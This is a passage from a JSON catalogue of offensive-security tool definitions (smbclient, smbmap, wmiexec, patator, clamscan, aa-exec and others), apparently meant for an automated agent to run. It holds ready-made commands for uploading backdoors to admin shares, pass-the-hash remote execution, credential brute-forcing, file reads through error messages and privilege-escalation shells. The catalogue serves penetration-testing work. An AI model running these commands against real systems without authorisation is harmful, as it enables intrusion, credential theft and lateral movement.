          "--json"
        ],
        "flag": "-j"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "SharpHound GitHub",
        "url": "https://github.com/BloodHoundAD/SharpHound"
      },
      {
        "label": "BloodHound Documentation",
        "url": "https://bloodhound.readthedocs.io/"
      }
    ],
    "related_tools": [
      "bloodhound",
      "certipy",
      "impacket",
      "netexec"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 256,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [
      "LDAP"
    ],
    "techniques": [
      "discovery",
      "collection"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "ad-graph-data",
        "session-data"
      ],
      "consumes": [
        "target-domain",
        "credential-data"
      ]
    }
  },
  {
    "_body": "\n# smbclient — SMB/CIFS Client\n\nsmbclient is a command-line SMB/CIFS client included in the Samba suite, used to access file shares, printers, and named pipes on Windows systems.\n\n## Common Operations\n\n| Operation | Command |\n|-----------|---------|\n| List shares | `smbclient -L target -U user` |\n| Connect to share | `smbclient //target/share -U user` |\n| Download file | `smbclient //target/share -U user -c \"get file\"` |\n| Upload file | `smbclient //target/share -U user -c \"put file\"` |\n| Recurse dirs | `smbclient //target/share -U user -c \"recurse;ls\"` |\n| Null session | `smbclient -L target -N` |\n\n## Interactive Commands\n\nOnce connected, smbclient provides an FTP-like interface: `ls`, `cd`, `get`, `put`, `rm`, `mkdir`, `rmdir`, `recurse`, `prompt`, `mask`, `tar`, `blocksize`, `tarmode`, `setmode`, `help`.\n",
    "_source": "security-ad-smbclient.md",
    "allowed-tools": [
      "smbclient"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Enumeration",
      "CredentialAccess",
      "LateralMovement"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.ad.share.list",
      "security.ad.share.access",
      "security.ad.share.download",
      "security.ad.file.transfer"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Target IP or hostname"
        },
        {
          "type": "credential.username",
          "description": "Username for SMB authentication"
        },
        {
          "type": "credential.password",
          "description": "Password for SMB authentication"
        }
      ],
      "outputs": [
        {
          "type": "security.ad.share.list",
          "description": "List of available SMB shares"
        },
        {
          "type": "file.content",
          "description": "Downloaded file contents"
        }
      ],
      "side_effects": [
        "network_traffic",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "SMB/CIFS client for accessing and managing file shares on Windows systems, part of the Samba suite of interoperability tools.",
    "examples": [
      {
        "description": "List shares with null session",
        "command": "smbclient -L 10.10.10.1 -N"
      },
      {
        "description": "List shares with authenticated session",
        "command": "smbclient -L 10.10.10.1 -U jdoe"
      },
      {
        "description": "Connect to a share and list contents",
        "command": "smbclient //10.10.10.1/C$ -U jdoe -c ls"
      },
      {
        "description": "Download a file from a share",
        "command": "smbclient //10.10.10.1/Shared -U jdoe -c \"get confidential.docx\""
      },
      {
        "description": "Upload a file to a share",
        "command": "smbclient //10.10.10.1/Shared -U jdoe -c \"put backdoor.exe\""
      },
      {
        "description": "Non-interactive recursive directory listing",
        "command": "smbclient //10.10.10.1/C$/Users -U jdoe -c \"recurse;ls\""
      }
    ],
    "execution": {
      "template": "smbclient -L {target} -U {username}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {
      "target": "ip",
      "username": "user"
    },
    "id": "security-ad-smbclient",
    "install": [
      {
        "method": "apt",
        "package_name": "smbclient",
        "commands": [
          "apt-get install -y smbclient"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "name": "smbclient",
    "namespace": "security:ad:smbclient",
    "parameters": [
      {
        "name": "list",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "List available shares on target",
        "aliases": [
          "-L",
          "--list"
        ],
        "flag": "-L"
      },
      {
        "name": "no-pass",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Do not prompt for password (null session)",
        "aliases": [
          "-N",
          "--no-pass"
        ],
        "flag": "-N"
      },
      {
        "name": "username",
        "type": "string",
        "required": false,
        "description": "Username for SMB authentication",
        "aliases": [
          "-U",
          "--user",
          "--username"
        ],
        "flag": "-U"
      },
      {
        "name": "password",
        "type": "string",
        "required": false,
        "description": "Password for SMB authentication",
        "aliases": [
          "-P",
          "--password"
        ],
        "flag": "-P"
      },
      {
        "name": "workgroup",
        "type": "string",
        "required": false,
        "default_value": "WORKGROUP",
        "description": "Workgroup or domain name",
        "aliases": [
          "-W",
          "--workgroup"
        ],
        "flag": "-W"
      },
      {
        "name": "ip",
        "type": "string",
        "required": false,
        "description": "Target IP address",
        "aliases": [
          "-I",
          "--ip"
        ],
        "flag": "-I"
      },
      {
        "name": "port",
        "type": "integer",
        "required": false,
        "default_value": 445,
        "description": "SMB port number",
        "aliases": [
          "-p",
          "--port"
        ],
        "flag": "-p"
      },
      {
        "name": "directory",
        "type": "string",
        "required": false,
        "description": "Change to initial directory",
        "aliases": [
          "-D",
          "--directory"
        ],
        "flag": "-D"
      },
      {
        "name": "command",
        "type": "string",
        "required": false,
        "description": "Execute SMB command non-interactively",
        "aliases": [
          "-c",
          "--command"
        ],
        "flag": "-c"
      },
      {
        "name": "max-protocol",
        "type": "string",
        "required": false,
        "description": "Maximum SMB protocol version",
        "aliases": [
          "-m",
          "--max-protocol"
        ],
        "flag": "-m"
      },
      {
        "name": "encrypt",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Require SMB encryption",
        "aliases": [
          "-e",
          "--encrypt"
        ],
        "flag": "-e"
      },
      {
        "name": "debug",
        "type": "integer",
        "required": false,
        "default_value": 0,
        "description": "Debug level (0-10)",
        "aliases": [
          "-d",
          "--debug"
        ],
        "flag": "-d"
      },
      {
        "name": "O",
        "type": "boolean",
        "required": false,
        "description": "Socket options",
        "aliases": [
          "-O",
          "--options"
        ],
        "flag": "-O"
      },
      {
        "name": "auth_file",
        "type": "boolean",
        "required": false,
        "description": "Credentials file",
        "aliases": [
          "--auth-file"
        ],
        "flag": "--auth-file"
      },
      {
        "name": "s",
        "type": "boolean",
        "required": false,
        "description": "Config file path",
        "aliases": [
          "-s",
          "--config"
        ],
        "flag": "-s"
      },
      {
        "name": "t",
        "type": "boolean",
        "required": false,
        "description": "Connection timeout",
        "aliases": [
          "-t",
          "--timeout"
        ],
        "flag": "-t"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Samba smbclient man page",
        "url": "https://www.samba.org/samba/docs/current/man-html/smbclient.1.html"
      }
    ],
    "related_tools": [
      "smbmap",
      "enum4linux-ng",
      "impacket"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "SMB"
    ],
    "techniques": [
      "credential-access",
      "discovery",
      "lateral-movement"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# smbmap — SMB Share Enumeration\n\nsmbmap is a Python-based SMB enumeration tool that recursively lists share contents, checks permissions, downloads/uploads files, and executes commands—all without needing a full interactive SMB session.\n\n## Key Features\n\n- **Recursive listing**: Map out entire directory trees across shares\n- **Permission-aware**: Shows READ/WRITE/DENIED per share and path\n- **File operations**: Download, upload, and delete files\n- **Command execution**: Run shell commands via SMB (admin required)\n- **NTLM hash auth**: Authenticate with LM:NT hash instead of password\n\n## Usage Modes\n\n| Mode | Command | Description |\n|------|---------|-------------|\n| Basic enum | `smbmap -H target -u user -p pass` | List all accessible shares |\n| Recursive | `smbmap -H target -u user -p pass -r` | Deep directory listing |\n| Download | `smbmap -H target -u user -p pass --download PATH` | Grab a specific file |\n| Upload | `smbmap -H target -u user -p pass --upload L R` | Push a file to target |\n| Exec | `smbmap -H target -u user -p pass -x cmd` | Remote command execution |\n",
    "_source": "security-ad-smbmap.md",
    "allowed-tools": [
      "smbmap"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Enumeration",
      "CredentialAccess",
      "LateralMovement"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.ad.share.list",
      "security.ad.share.download",
      "security.ad.share.upload",
      "security.ad.share.delete",
      "security.ad.share.exec",
      "security.ad.share.content"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Target IP or hostname"
        },
        {
          "type": "credential.username",
          "description": "Username for SMB authentication"
        },
        {
          "type": "credential.password",
          "description": "Password or NTLM hash"
        }
      ],
      "outputs": [
        {
          "type": "security.ad.share.list",
          "description": "Recursive share listing with permissions"
        },
        {
          "type": "file.content",
          "description": "Downloaded file contents"
        }
      ],
      "side_effects": [
        "network_traffic",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "SMB enumeration tool that provides recursive listing, file download/upload, and command execution across SMB shares on Windows networks.",
    "examples": [
      {
        "description": "Enumerate all shares with null session",
        "command": "smbmap -H 10.10.10.1 -u null -p null"
      },
      {
        "description": "Authenticated recursive share listing",
        "command": "smbmap -H 10.10.10.1 -u jdoe -p Pass123 -r"
      },
      {
        "description": "Download a specific file from a share",
        "command": "smbmap -H 10.10.10.1 -u jdoe -p Pass123 --download C$/Users/Administrator/Desktop/notes.txt"
      },
      {
        "description": "Upload a file to a share",
        "command": "smbmap -H 10.10.10.1 -u jdoe -p Pass123 --upload /tmp/shell.exe C$/temp/shell.exe"
      },
      {
        "description": "Execute a command via SMB",
        "command": "smbmap -H 10.10.10.1 -u jdoe -p Pass123 -x \"ipconfig\""
      },
      {
        "description": "Show contents of text files in a share",
        "command": "smbmap -H 10.10.10.1 -u jdoe -p Pass123 -s Shared -C"
      }
    ],
    "execution": {
      "template": "smbmap -H {target} -u {username} -p {password}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {
      "target": "ip",
      "username": "user"
    },
    "id": "security-ad-smbmap",
    "install": [
      {
        "method": "pip",
        "package_name": "smbmap",
        "commands": [
          "pip install smbmap"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1021",
      "T1046"
    ],
    "name": "smbmap",
    "namespace": "security:ad:smbmap",
    "parameters": [
      {
        "name": "host",
        "type": "string",
        "required": true,
        "description": "Target IP address or hostname",
        "aliases": [
          "-H",
          "--host"
        ],
        "flag": "-H"
      },
      {
        "name": "username",
        "type": "string",
        "required": false,
        "description": "Username for SMB authentication",
        "aliases": [
          "-u",
          "--username"
        ],
        "flag": "-u"
      },
      {
        "name": "password",
        "type": "string",
        "required": false,
        "description": "Password or NTLM hash for authentication",
        "aliases": [
          "-p",
          "--password"
        ],
        "flag": "-p"
      },
      {
        "name": "domain",
        "type": "string",
        "required": false,
        "description": "Domain name for authentication",
        "aliases": [
          "-d",
          "--domain"
        ],
        "flag": "-d"
      },
      {
        "name": "port",
        "type": "integer",
        "required": false,
        "default_value": 445,
        "description": "SMB port number",
        "aliases": [
          "-P",
          "--port"
        ],
        "flag": "-P"
      },
      {
        "name": "share",
        "type": "string",
        "required": false,
        "description": "Specify a share to enumerate",
        "aliases": [
          "-s",
          "--share"
        ],
        "flag": "-s"
      },
      {
        "name": "recursive",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Recursive directory listing",
        "aliases": [
          "-r",
          "--recursive"
        ],
        "flag": "-r"
      },
      {
        "name": "depth",
        "type": "integer",
        "required": false,
        "default_value": 10,
        "description": "Recursion depth for directory listing",
        "aliases": [
          "-R",
          "--depth"
        ],
        "flag": "-R"
      },
      {
        "name": "command",
        "type": "string",
        "required": false,
        "description": "Command to execute via SMB",
        "aliases": [
          "-x",
          "--command"
        ],
        "flag": "-x"
      },
      {
        "name": "content",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Show file contents",
        "aliases": [
          "-C",
          "--content"
        ],
        "flag": "-C"
      },
      {
        "name": "download",
        "type": "string",
        "required": false,
        "description": "Download file by path",
        "aliases": [
          "--download"
        ],
        "flag": "--download"
      },
      {
        "name": "upload",
        "type": "string",
        "required": false,
        "description": "Upload file (local:remote)",
        "aliases": [
          "--upload"
        ],
        "flag": "--upload"
      },
      {
        "name": "timeout",
        "type": "integer",
        "required": false,
        "default_value": 10,
        "description": "Network timeout in seconds",
        "aliases": [
          "--timeout"
        ],
        "flag": "--timeout"
      },
      {
        "name": "S",
        "type": "boolean",
        "required": false,
        "description": "Force SMB over SSL",
        "aliases": [
          "-S",
          "--ssl"
        ],
        "flag": "-S"
      },
      {
        "name": "no_banner",
        "type": "boolean",
        "required": false,
        "description": "Suppress banner",
        "aliases": [
          "--no-banner"
        ],
        "flag": "--no-banner"
      },
      {
        "name": "no_color",
        "type": "boolean",
        "required": false,
        "description": "Disable color output",
        "aliases": [
          "--no-color"
        ],
        "flag": "--no-color"
      },
      {
        "name": "q",
        "type": "boolean",
        "required": false,
        "description": "Quiet mode",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "s",
        "type": "boolean",
        "required": false,
        "description": "Specify a share",
        "aliases": [
          "-s",
          "--share"
        ],
        "flag": "-s"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "smbmap GitHub",
        "url": "https://github.com/ShawnDEvans/smbmap"
      }
    ],
    "related_tools": [
      "smbclient",
      "enum4linux-ng",
      "impacket"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "SMB"
    ],
    "techniques": [
      "credential-access",
      "discovery",
      "lateral-movement"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "nltest.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Network test tool for querying and managing Active Directory trust relationships.",
    "examples": [
      {
        "description": "Run nltest with default options",
        "command": "nltest /?"
      }
    ],
    "execution": {
      "template": "nltest /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-nltest",
    "mitre_ids": [],
    "name": "nltest",
    "namespace": "security:ad:trust",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "nltest Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nltest"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "\n# wmiexec.py — WMI Remote Command Execution\n\nwmiexec.py is an Impacket tool that provides semi-interactive command execution over Windows Management Instrumentation (WMI). Unlike psexec.py, it does not deploy any service or agent on the target, making it stealthier for lateral movement.\n\n## Key Features\n\n- Semi-interactive shell via WMI\n- No service deployment (stealthier than psexec)\n- Pass-the-hash support\n- Supports local and domain authentication\n- No binary dropped on disk\n\n## Usage\n\n```bash\n# Basic shell\nimpacket-wmiexec domain/user:Pass@192.168.1.100\n\n# Single command\nimpacket-wmiexec domain/user:Pass@192.168.1.100 \"ipconfig\"\n\n# Pass-the-hash\nimpacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:NT_HASH user@192.168.1.100\n\n# Local admin\nimpacket-wmiexec ./admin:Pass@192.168.1.100\n```\n",
    "_source": "security-ad-wmiexec.md",
    "allowed-tools": [
      "wmiexec",
      "impacket",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Execution",
      "LateralMovement"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.lateral.wmi",
      "security.execution.remote",
      "security.shell.remote",
      "security.ad.service.control",
      "security.credential.pth"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Target Windows host IP"
        },
        {
          "type": "credential.username",
          "description": "Username for authentication"
        },
        {
          "type": "credential.password",
          "description": "Plaintext password or NTLM hash"
        },
        {
          "type": "domain.name",
          "description": "Target domain name"
        }
      ],
      "outputs": [
        {
          "type": "command.output",
          "description": "Remote command execution output",
          "mime": "text/plain"
        },
        {
          "type": "session.shell",
          "description": "Semi-interactive shell session",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "low",
        "disk_io": "none"
      }
    },
    "dependencies": [
      "python3",
      "impacket"
    ],
    "description": "Impacket tool for semi-interactive remote command execution over Windows Management Instrumentation (WMI) without deploying services or agents.",
    "examples": [
      {
        "description": "Open a semi-interactive shell",
        "command": "impacket-wmiexec domain/username:password@10.0.0.1"
      },
      {
        "description": "Execute a single command",
        "command": "impacket-wmiexec domain/username:password@10.0.0.1 \"whoami\""
      },
      {
        "description": "Execute command with NTLM hash (pass-the-hash)",
        "command": "impacket-wmiexec -hashes LM:HASH domain/username@10.0.0.1 \"whoami\""
      },
      {
        "description": "Run with local admin account",
        "command": "impacket-wmiexec ./administrator:password@10.0.0.1"
      }
    ],
    "execution": {
      "template": "python3 /usr/share/doc/python3-impacket/examples/wmiexec.py {target} {flags}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "process-manip",
      "remote"
    ],
    "id": "security-ad-wmiexec",
    "install": [
      {
        "method": "pip",
        "package_name": "impacket",
        "commands": [
          "pip install impacket"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1021",
      "T1047"
    ],
    "name": "wmiexec",
    "namespace": "security:ad:wmiexec",
    "parameters": [
      {
        "name": "target",
        "type": "string",
        "required": true,
        "description": "Target host in format: domain/username:password@host"
      },
      {
        "name": "command",
        "type": "string",
        "required": false,
        "description": "Command to execute (if omitted, opens a semi-interactive shell)"
      },
      {
        "name": "flag-share",
        "type": "string",
        "required": false,
        "description": "SMB share to use (default: ADMIN$)",
        "aliases": [
          "-share"
        ],
        "flag": "-share"
      },
      {
        "name": "flag-nooutput",
        "type": "boolean",
        "required": false,
        "description": "Do not retrieve command output",
        "aliases": [
          "-nooutput"
        ],
        "flag": "-nooutput"
      },
      {
        "name": "flag-comspec",
        "type": "string",
        "required": false,
        "description": "Windows cmd.exe path (default: cmd.exe)",
        "aliases": [
          "-comspec"
        ],
        "flag": "-comspec"
      },
      {
        "name": "flag-silentcommand",
        "type": "boolean",
        "required": false,
        "description": "Use silent command mode",
        "aliases": [
          "-silentcommand"
        ],
        "flag": "-silentcommand"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Impacket GitHub",
        "url": "https://github.com/fortra/impacket"
      },
      {
        "label": "wmiexec.py Documentation",
        "url": "https://www.secureauth.com/blog/impacket-wmiexec/"
      }
    ],
    "related_tools": [
      "impacket",
      "psexec",
      "evil-winrm",
      "netexec"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "none"
    },
    "risk_level": "high",
    "services": [
      "SMB",
      "RPC"
    ],
    "techniques": [
      "execution",
      "lateral-movement"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "clamscan.md",
    "allowed-tools": [
      "clamscan",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to input file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content in error messages"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "ClamAV antivirus scanner, can read files via error message leakage with custom YARA rules.",
    "examples": [
      {
        "description": "Read a file via clamscan error message leakage",
        "command": "touch x.yara\nclamscan --no-summary -d x.yara -f /path/to/input-file 2>&1 | sed -nE 's/^(.*): No such file or directory$/\\1/p'\n"
      }
    ],
    "execution": {
      "template": "clamscan --no-summary -d x.yara -f {input}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "security-antivirus-clamscan",
    "install": [
      {
        "method": "apt",
        "package_name": "clamav",
        "commands": [
          "apt-get install -y clamav"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "clamscan",
    "namespace": "security:antivirus:clamscan",
    "parameters": [
      {
        "name": "input",
        "type": "file",
        "required": false,
        "description": "File to read"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/clamscan/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [
      "HTTP"
    ],
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n\n# aa-exec — AppArmor Profile Execution\n\naa-exec runs a program with a specified AppArmor profile. When installed with SUID or available via sudo, it can be used to spawn a shell.\n\n## Privilege Escalation\n\n```bash\n# Spawn interactive shell\naa-exec /bin/sh\n```\n",
    "_source": "aa-exec.md",
    "allowed-tools": [
      "aa-exec",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [
        {
          "type": "security.apparmor.profile",
          "description": "AppArmor profile to execute under"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Run a program with a specified AppArmor profile, can spawn a shell when used with sudo or SUID.",
    "examples": [
      {
        "description": "Spawn an interactive shell under AppArmor confinement",
        "command": "aa-exec /bin/sh"
      },
      {
        "description": "Run a command under a specific AppArmor profile",
        "command": "aa-exec -p /usr/bin/ping"
      }
    ],
    "execution": {
      "template": "aa-exec {profile}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "security-apparmor-aa-exec",
    "install": [
      {
        "method": "apt",
        "package_name": "apparmor-utils",
        "commands": [
          "apt-get install -y apparmor-utils"
        ]
      }
    ],
    "name": "aa-exec",
    "namespace": "security:apparmor:aa-exec",
    "parameters": [
      {
        "name": "profile",
        "type": "string",
        "required": false,
        "description": "AppArmor profile to use",
        "aliases": [
          "-p",
          "--profile"
        ],
        "flag": "-p"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "AppArmor wiki",
        "url": "https://wiki.ubuntu.com/AppArmor"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# Patator — Multi-Protocol Brute-Forcer\n\nPatator is a Python-based multi-protocol brute-force tool designed for modular and flexible authentication testing across many services including FTP, SSH, HTTP, SMTP, SNMP, SMB, Telnet, and more.\n\n## Usage\n\n```bash\n# FTP brute-force\npatator ftp_login host=10.0.0.1 user=FILE0 password=FILE1 0=users.txt 1=passwords.txt\n\n# SSH brute-force\npatator ssh_login host=10.0.0.1 user=FILE0 password=FILE1 0=users.txt 1=passwords.txt -x ignore:mesg='Authentication failed.'\n\n# HTTP form brute-force\npatator http_fuzz url=http://target.com/login method=POST body='user=COMBO00&pass=COMBO01' 0=combo.txt\n\n# SNMP community scan\npatator snmp_login host=10.0.0.0/24 community=FILE0 0=communities.txt -x ignore:mesg='No response'\n```\n",
    "_source": "patator.md",
    "allowed-tools": [
      "patator",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "brute.results",
        "description": "Brute-force results with valid credentials",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "CredentialAccess",
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "brute.ftp.login",
      "brute.ssh.login",
      "brute.http.login",
      "brute.smtp.login",
      "brute.snmp.community",
      "brute.service.login"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.host",
          "description": "Target hostname or IP"
        },
        {
          "type": "credential.username.list",
          "description": "Username wordlist"
        },
        {
          "type": "credential.password.list",
          "description": "Password wordlist"
        }
      ],
      "outputs": [
        {
          "type": "brute.results",
          "description": "Found valid credentials",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Multi-protocol brute-forcing tool that supports FTP, SSH, HTTP, SMTP, SNMP, and many other services for login credential testing.",
    "examples": [
      {
        "description": "FTP brute-force",
        "command": "patator ftp_login host=10.0.0.1 user=FILE0 password=FILE1 0=users.txt 1=passwords.txt"
      },
      {
        "description": "SSH brute-force",
        "command": "patator ssh_login host=10.0.0.1 user=FILE0 password=FILE1 0=users.txt 1=passwords.txt"
      },
      {
        "description": "HTTP form brute-force",
        "command": "patator http_fuzz url=http://example.com/login method=POST body='user=FILE0&pass=FILE1' 0=users.txt 1=passwords.txt"
      }
    ],
    "execution": {
      "template": "patator {module} {flag-hosts} {flag-users} {flag-passwords} {flag-port} {flag-threads} {flag-timeout} {flag-max-retries} {flag-output}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "process-manip"
    ],
    "id": "security-brute-patator",
    "install": [
      {
        "method": "apt",
        "package_name": "patator",
        "commands": [
          "apt-get install -y patator"
        ]
      }
    ],
    "items": [
      "Password",
      "Username"
    ],
    "name": "patator",
    "namespace": "security:brute:patator",
    "parameters": [
      {
        "name": "module",
        "type": "string",
        "required": true,
        "description": "Module name (ftp_login, ssh_login, http_fuzz, etc.)"
      },
      {
        "name": "flag-hosts",
        "type": "string",
        "required": false,
        "description": "Target hosts (file or comma-separated)",
        "aliases": [
          "host"
        ],
        "flag": "host"
      },
      {
        "name": "flag-users",
        "type": "string",
        "required": false,
        "description": "Usernames (file or string)",
        "aliases": [
          "user"
        ],
        "flag": "user"
      },
      {
        "name": "flag-passwords",
        "type": "string",
        "required": false,
        "description": "Passwords (file or string)",
        "aliases": [
          "password"
        ],
        "flag": "password"
      },
      {
        "name": "flag-port",
        "type": "integer",
        "required": false,
        "description": "Service port",
        "aliases": [
          "port"
        ],
        "flag": "port"
      },
      {
        "name": "flag-threads",
        "type": "integer",
        "required": false,
        "description": "Number of threads",
        "aliases": [
          "-x",
          "--threads"
        ],
        "flag": "-x"
      },
      {
        "name": "flag-timeout",
        "type": "integer",
        "required": false,
        "description": "Connection timeout",
        "aliases": [
          "-t",
          "--timeout"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-max-retries",
        "type": "integer",
        "required": false,
        "description": "Maximum retries per attempt",
        "aliases": [
          "-R",
          "--max-retries"
        ],
        "flag": "-R"
      },
      {
        "name": "flag-output",
        "type": "string",
        "required": false,
        "description": "Output file for results",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Patator GitHub",
        "url": "https://github.com/lanjelot/patator"
      }
    ],
    "related_tools": [
      "hydra",
      "medusa",
      "ncrack",
      "crowbar"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "SSH",
      "FTP",
      "HTTP"
    ],
    "techniques": [
      "credential-access",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "valid-credentials",
        "brute-force-results"
      ],
      "consumes": [
        "target-host",
        "username-list",
        "password-list"
      ]
    }
  },
  {
    "_body": "\n\n# capsh — Capability Shell\n\ncapsh is a wrapper for manipulating Linux capabilities and spawning shells. When installed with SUID, it can spawn a root shell by setting gid and uid to 0.\n",
    "_source": "capsh.md",
    "allowed-tools": [
      "capsh",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell",
      "security.capabilities.manage"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
